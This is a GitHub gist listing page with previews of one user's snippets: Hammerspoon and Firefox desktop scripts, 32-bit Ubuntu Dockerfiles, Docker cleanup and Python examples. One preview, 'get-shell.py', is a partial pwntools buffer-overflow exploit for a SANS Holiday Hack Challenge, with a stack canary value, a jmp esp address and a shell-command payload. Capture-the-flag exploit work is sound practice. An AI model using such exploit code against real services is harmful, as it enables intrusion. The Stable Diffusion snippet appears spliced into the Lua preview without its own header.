Skip to content

Instantly share code, notes, and snippets.

@fragmede
fragmede / init.lua
Created April 18, 2023 11:28
Hammerspoon script that creates a new Space/virtual desktop and sticks a new Chrome window into it with ⌘⌃⌥N
-- Grab the ID for the last desktop, which is assumed to be the most recently create one
function getLargestDesktopKey()
rawSpaceNames = hs.spaces.missionControlSpaceNames()
for key, value in pairs(rawSpaceNames) do
uuid = key
end
spaceNames = rawSpaceNames[uuid]
for _, nested_table in pairs(rawSpaceNames) do
for __, value in pairs(nested_table) do
local desktopNum = string.match(value, "Desktop (%d+)")
from diffusers import StableDiffusionPipeline
pipe = StableDiffusionPipeline.from_pretrained(
"CompVis/stable-diffusion-v1-4",
use_auth_token=True
).to("mps")
prompt = "a photo of an astronaut riding a horse on mars"
image = pipe(prompt)["sample"][0]
image.save("astronaut_rides_horse.png")
@fragmede
fragmede / restart-ff.sh
Created May 11, 2013 18:33
FVDWLR - Firefox Virtual Desktop Window Location Restore-er Simple shell script to restore firefox window locations to their previous virtual desktop location.
#!/bin/bash
# FVDWLR - Firefox Virtual Desktop Window Location Restore-er
#
#When Firefox restarts (crash/whatever), when the previous browsing session is restored, the virtual desktop that the window was running on is not also restored. If you're like me, and categorize browsing by windows and virtual desktops this is very annoying. (ie I have a Firefox window researching matlab on the same desktop that matlab is running on, and then on a different desktop I have Gmail/barnowl/irssi running.) This failure to restore desktops is thus quite annoying.
#
#This simple shell script fixes that by restarting Firefox within the shell script. It uses xprop and wmctrl to read and restore the virtual desktop location of windows after (forcibly) restarting Firefox.
#Note that I'm on Debian and so 'Firefox' is technically Iceweasel, so change the variable as needed
#Requires x11-utils and wmctrl packages:
# sudo apt-get install x11-utils wmctrl
#
@fragmede
fragmede / Dockerfile
Last active April 13, 2017 03:51
32-bit Trusty Dockerfile
FROM scratch
# Download from https://partner-images.canonical.com/core/trusty/current/ubuntu-trusty-core-cloudimg-i386-root.tar.gz
ADD ubuntu-trusty-core-cloudimg-i386-root.tar.gz /
# a few minor docker-specific tweaks
# see https://github.com/docker/docker/blob/master/contrib/mkimage/debootstrap
RUN echo '#!/bin/sh' > /usr/sbin/policy-rc.d \
&& echo 'exit 101' >> /usr/sbin/policy-rc.d \
&& chmod +x /usr/sbin/policy-rc.d \
\
@fragmede
fragmede / threader.py
Created August 14, 2016 17:20
basic threading example
import threading
import time
class Continuous(threading.Thread):
def __init__(self):
super(Continuous, self).__init__()
self.die = False
self.info = 0
def run(self):
@fragmede
fragmede / get-shell.py
Last active January 14, 2016 05:48
exploit for SG5 for SANS 2015 Holiday Hack Challenge
from pwn import *
canary = p32(0xe4ffffe4)
jmpesp = p32(0x0804936b)
command = 'whoami; ls; pwd;'
r = remote('localhost', 4242)
r.recv()
r.sendline('X')
@fragmede
fragmede / docker-cleanup.sh
Created January 13, 2016 04:02
my script to cleanup stale docker images.
#!/bin/bash
df -h /
docker rm $(docker ps -a -q)
# add -a to 'docker images' for nested but those usually fail.
docker rmi $(docker images | grep "^<none>" | awk '{print $3}' )
df -h /
@fragmede
fragmede / Dockerfile
Last active January 9, 2016 19:25
32-bit Precise Dockerfile
FROM scratch
# Download from https://partner-images.canonical.com/core/precise/current/ubuntu-precise-core-cloudimg-i386-root.tar.gz
ADD ubuntu-precise-core-cloudimg-i386-root.tar.gz /
# a few minor docker-specific tweaks
# see https://github.com/docker/docker/blob/master/contrib/mkimage/debootstrap
RUN echo '#!/bin/sh' > /usr/sbin/policy-rc.d \
&& echo 'exit 101' >> /usr/sbin/policy-rc.d \
&& chmod +x /usr/sbin/policy-rc.d \
\
@fragmede
fragmede / Dockerfile
Last active January 9, 2016 19:24
32-bit Vivid Dockerfile
FROM scratch
# Download from https://partner-images.canonical.com/core/vivid/current/ubuntu-vivid-core-cloudimg-i386-root.tar.gz
ADD ubuntu-vivid-core-cloudimg-i386-root.tar.gz /
# a few minor docker-specific tweaks
# see https://github.com/docker/docker/blob/master/contrib/mkimage/debootstrap
RUN echo '#!/bin/sh' > /usr/sbin/policy-rc.d \
&& echo 'exit 101' >> /usr/sbin/policy-rc.d \
&& chmod +x /usr/sbin/policy-rc.d \
\
@fragmede
fragmede / Dockerfile
Last active January 9, 2016 19:24
32-bit Wily Dockerfile
# This Dockerfile originally from https://github.com/tianon/docker-brew-ubuntu-core/blob/d7f2045ad9b08962d9728f6d9910fa252282b85f/wily/Dockerfile
FROM scratch
ADD ubuntu-wily-core-cloudimg-i386-root.tar.gz /
# Download from https://partner-images.canonical.com/core/wily/current/ubuntu-wily-core-cloudimg-i386-root.tar.gz /
# a few minor docker-specific tweaks
# see https://github.com/docker/docker/blob/master/contrib/mkimage/debootstrap
RUN echo '#!/bin/bash' > /usr/sbin/policy-rc.d \
&& echo 'exit 101' >> /usr/sbin/policy-rc.d \
&& chmod +x /usr/sbin/policy-rc.d \